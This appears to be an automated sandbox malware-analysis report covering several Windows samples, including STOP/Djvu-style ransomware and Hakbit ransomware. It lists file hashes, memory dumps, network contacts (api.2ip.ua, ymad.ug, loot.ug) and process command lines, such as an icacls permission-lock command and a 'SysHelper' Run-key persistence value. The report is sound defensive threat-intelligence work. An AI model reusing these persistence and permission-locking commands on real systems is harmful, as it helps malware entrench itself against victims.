memory/1772-91-0x00000000007B0000-0x000000000087C000-memory.dmp

memory/1772-92-0x00000000007B0000-0x000000000087C000-memory.dmp

C:\Users\Admin\AppData\Roaming\wou\spd

MD5	098f6bcd4621d373cade4e832627b4f6
SHA1	a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
SHA256	9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
SHA512	ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff

memory/3272-96-0x0000000000400000-0x000000000041B000-memory.dmp

memory/3272-97-0x0000000000400000-0x000000000041B000-memory.dmp

memory/3272-99-0x0000000000400000-0x000000000041B000-memory.dmp

memory/3272-98-0x0000000000420000-0x00000000004E9000-memory.dmp

memory/1712-100-0x0000000000400000-0x0000000000458000-memory.dmp

Analysis: behavioral15

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:13

Platform

win7-20240221-en

Max time kernel

117s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.exe"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.exe

"C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.exe"

Network

N/A

Files

N/A

Analysis: behavioral21

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win7-20240611-en

Max time kernel

147s

Max time network

130s

Command Line

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe"

Signatures

Modifies file permissions

discovery

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\icacls.exe	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\69ca37aa-3a94-4743-9124-389e89a32f4b\\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe\" --AutoStart"	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A

Looks up external IP address via web service

Description	Indicator	Process	Target
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A

Suspicious use of WriteProcessMemory

Processes

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe"

C:\Windows\SysWOW64\icacls.exe

icacls "C:\Users\Admin\AppData\Local\69ca37aa-3a94-4743-9124-389e89a32f4b" /deny *S-1-1-0:(OI)(CI)(DE,DC)

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --Admin IsNotAutoStart IsNotTask

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --ForNetRes "FsnDCf1u1wJvLcqbFxxtOchBf2V2lgtk24oM5mt2" 0h7mFQcjRC3pDgsRcrWZ7K7bdAgvgDos224DmXt1 IsNotAutoStart IsNotTask

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --Service 1900 "FsnDCf1u1wJvLcqbFxxtOchBf2V2lgtk24oM5mt2" 0h7mFQcjRC3pDgsRcrWZ7K7bdAgvgDos224DmXt1

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --Service 1168 "FsnDCf1u1wJvLcqbFxxtOchBf2V2lgtk24oM5mt2" 0h7mFQcjRC3pDgsRcrWZ7K7bdAgvgDos224DmXt1

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	api.2ip.ua	udp
US	104.21.65.24:443	api.2ip.ua	tcp
US	8.8.8.8:53	c.pki.goog	udp
GB	172.217.169.67:80	c.pki.goog	tcp
US	104.21.65.24:443	api.2ip.ua	tcp
US	8.8.8.8:53	ymad.ug	udp
US	8.8.8.8:53	loot.ug	udp
US	104.21.65.24:443	api.2ip.ua	tcp
US	104.21.65.24:443	api.2ip.ua	tcp
US	104.21.65.24:443	api.2ip.ua	tcp

Files

memory/1832-0-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1832-2-0x0000000000270000-0x0000000000370000-memory.dmp

memory/1832-3-0x0000000000400000-0x0000000000476000-memory.dmp

C:\Users\Admin\AppData\Local\69ca37aa-3a94-4743-9124-389e89a32f4b\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

MD5	ead18f3a909685922d7213714ea9a183
SHA1	1270bd7fd62acc00447b30f066bb23f4745869bf
SHA256	5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18
SHA512	6e532d9c3d186e4dac38823ae9152056346e283613f0caf088b21a1b3e5f4f6cf3bad8c407168b1072895a386e3be0b8c11ad1cb326d3d3ff0eb8562052def91

memory/1832-20-0x0000000003BA0000-0x0000000003C49000-memory.dmp

memory/1832-21-0x0000000003BA0000-0x0000000003C49000-memory.dmp

memory/1832-23-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1900-26-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1832-25-0x0000000000400000-0x0000000000476000-memory.dmp

memory/1832-24-0x0000000000270000-0x0000000000370000-memory.dmp

memory/1900-28-0x0000000000400000-0x00000000004A9000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	dff44e5f685c149c0d40276078b41d0e
SHA1	4a3e3293e75c331437819529485239428d1168a2
SHA256	02e268a9f009082cb1438d72dbb89c277d6baffc856234cb58fcd454241c7054
SHA512	c920b955bac5801fa5ff852ca0892ffb5f131aed514830967693b38a46a0ff1494443f5991d75ca91662f783a677734479e267e56b8ee2721765d627c2928314

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

MD5	1bfe0a81db078ea084ff82fe545176fe
SHA1	50b116f578bd272922fa8eae94f7b02fd3b88384
SHA256	5ba8817f13eee00e75158bad93076ab474a068c6b52686579e0f728fda68499f
SHA512	37c582f3f09f8d80529608c09041295d1644bcc9de6fb8c4669b05339b0dd870f9525abc5eed53ad06a94b51441275504bc943c336c5beb63b53460ba836ca8d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

MD5	4b9bc206847ba11d8275a5020b03410d
SHA1	4ae3bb383b3f5257bb1bdfd06e9543ba7884a730
SHA256	25f077c0e91b23073fc7c9f1f9735738a8eab1bbfb3dbb725ab607d7409f2fba
SHA512	faaf85ec566a60f2e69d5eec7dd19304979da4992188db6d55876eadf253f57f6579fe3e37c29b9a8fe5f644b5a0fdf8f206a13e085c6303694734728b544edc

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

MD5	2365869258df7a66a2121b802ca4afd9
SHA1	73acc30a2edeb9d6830de559bb8a74f35168135d
SHA256	d6b1932822bbd72a8e78c771717d992142348f67d625a42393719fefbe59b0ed
SHA512	795004bab536e128dbd81c188976d37c7b650efbfa5a80374df4c65a1049c27658f4620b7605583928eb167fcb69b4c99e4c8730c507b824a7bde9c7fb0e21f4

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

MD5	29472b8d97de123e836ce5f27350b166
SHA1	0542eed8d8075f651491f97aca2165a50a573bbf
SHA256	fbce4849a638087bc76d7cb4bce36732c1e4589746f77936a2549096b6df8165
SHA512	4653fa1b5b0d0e78e5a3e65e54854dc4f5d9865a5dfcad36c20def39abde3a080f76e2778b9a9cca07d5350d1d91e3e3454e12ce81287b3a3655b0a6a3ae5f8e

C:\Users\Admin\AppData\Local\Temp\Cab5438.tmp

MD5	2d3dcf90f6c99f47e7593ea250c9e749
SHA1	51be82be4a272669983313565b4940d4b1385237
SHA256	8714e7be9f9b6de26673d9d09bd4c9f41b1b27ae10b1d56a7ad83abd7430ebd4
SHA512	9c11dd7d448ffebe2167acde37be77d42175edacf5aaf6fb31d3bdfe6bb1f63f5fdbc9a0a2125ed9d5ce0529b6b548818c8021532e1ea6b324717cc9bec0aaa5

memory/1900-40-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1900-41-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1900-42-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1900-43-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1900-44-0x0000000002850000-0x00000000028F9000-memory.dmp

memory/956-45-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1168-60-0x00000000037B0000-0x0000000003859000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TarD6A1.tmp

MD5	7186ad693b8ad9444401bd9bcd2217c2
SHA1	5c28ca10a650f6026b0df4737078fa4197f3bac1
SHA256	9a71fa0cb44aa51412b16a0bf83a275977ba4e807d022f78364338b99b3a3eed
SHA512	135be0e6370fd057762c56149526f46bf6a62fb65ef5b3b26ae01fa07b4c4e37188e203bd3812f31e260ec5cccff5924633dd55ab17e9fa106479783c2fb212b

memory/1168-69-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2924-68-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1900-70-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/956-71-0x0000000000400000-0x00000000004A9000-memory.dmp

Analysis: behavioral22

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:15

Platform

win10v2004-20240508-en

Max time kernel

14s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe"

Signatures

Modifies file permissions

discovery

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\icacls.exe	N/A

UPX packed file

upx

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\420094c8-bb06-43a5-af67-61bfe49db466\\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe\" --AutoStart"	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A

Looks up external IP address via web service

Description	Indicator	Process	Target
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A
N/A	api.2ip.ua	N/A	N/A

Enumerates physical storage devices

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4788 wrote to memory of 724	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	C:\Windows\SysWOW64\icacls.exe
PID 4788 wrote to memory of 724	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	C:\Windows\SysWOW64\icacls.exe
PID 4788 wrote to memory of 724	N/A	C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe	C:\Windows\SysWOW64\icacls.exe

Processes

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe"

C:\Windows\SysWOW64\icacls.exe

icacls "C:\Users\Admin\AppData\Local\420094c8-bb06-43a5-af67-61bfe49db466" /deny *S-1-1-0:(OI)(CI)(DE,DC)

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --Admin IsNotAutoStart IsNotTask

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4788 -ip 4788

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 1368

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --Service 2428 "FsnDCf1u1wJvLcqbFxxtOchBf2V2lgtk24oM5mt2" 0h7mFQcjRC3pDgsRcrWZ7K7bdAgvgDos224DmXt1

C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

"C:\Users\Admin\AppData\Local\Temp\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe" --Service 1200 "FsnDCf1u1wJvLcqbFxxtOchBf2V2lgtk24oM5mt2" 0h7mFQcjRC3pDgsRcrWZ7K7bdAgvgDos224DmXt1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5048 -ip 5048

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5048 -s 1296

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1200 -ip 1200

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 1440

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	api.2ip.ua	udp
US	8.8.8.8:53	api.2ip.ua	udp
US	8.8.8.8:53	ymad.ug	udp
US	8.8.8.8:53	loot.ug	udp
US	8.8.8.8:53	loot.ug	udp
US	8.8.8.8:53	loot.ug	udp
US	8.8.8.8:53	api.2ip.ua	udp
US	8.8.8.8:53	api.2ip.ua	udp

Files

memory/4788-0-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/4788-2-0x00000000006F0000-0x00000000007F0000-memory.dmp

memory/4788-3-0x0000000000400000-0x0000000000476000-memory.dmp

memory/4788-4-0x0000000000400000-0x00000000004A9000-memory.dmp

C:\Users\Admin\AppData\Local\420094c8-bb06-43a5-af67-61bfe49db466\5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe

MD5	ead18f3a909685922d7213714ea9a183
SHA1	1270bd7fd62acc00447b30f066bb23f4745869bf
SHA256	5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18
SHA512	6e532d9c3d186e4dac38823ae9152056346e283613f0caf088b21a1b3e5f4f6cf3bad8c407168b1072895a386e3be0b8c11ad1cb326d3d3ff0eb8562052def91

memory/2428-7-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/4788-10-0x0000000000400000-0x0000000000476000-memory.dmp

memory/4788-9-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2428-12-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2428-14-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2428-16-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2428-17-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2428-19-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1276-21-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1200-20-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1276-23-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/2428-25-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1200-26-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/5048-28-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1276-31-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1200-30-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/5048-35-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/5048-36-0x0000000000400000-0x00000000004A9000-memory.dmp

memory/1200-37-0x0000000000400000-0x00000000004A9000-memory.dmp

Analysis: behavioral23

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win7-20240611-en

Max time kernel

118s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"

Signatures

Disables service(s)

evasion execution

Hakbit

ransomware hakbit

Deletes itself

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\cmd.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A

Reads user/profile data of web browsers

spyware stealer

Launches sc.exe

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\sc.exe	N/A
N/A	N/A	C:\Windows\system32\sc.exe	N/A
N/A	N/A	C:\Windows\system32\sc.exe	N/A
N/A	N/A	C:\Windows\system32\sc.exe	N/A

Enumerates physical storage devices

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A
N/A	N/A	C:\Windows\system32\taskkill.exe	N/A

Opens file in notepad (likely ransom note)

ransomware

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\notepad.exe	N/A

Runs ping.exe

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\PING.EXE	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe	N/A
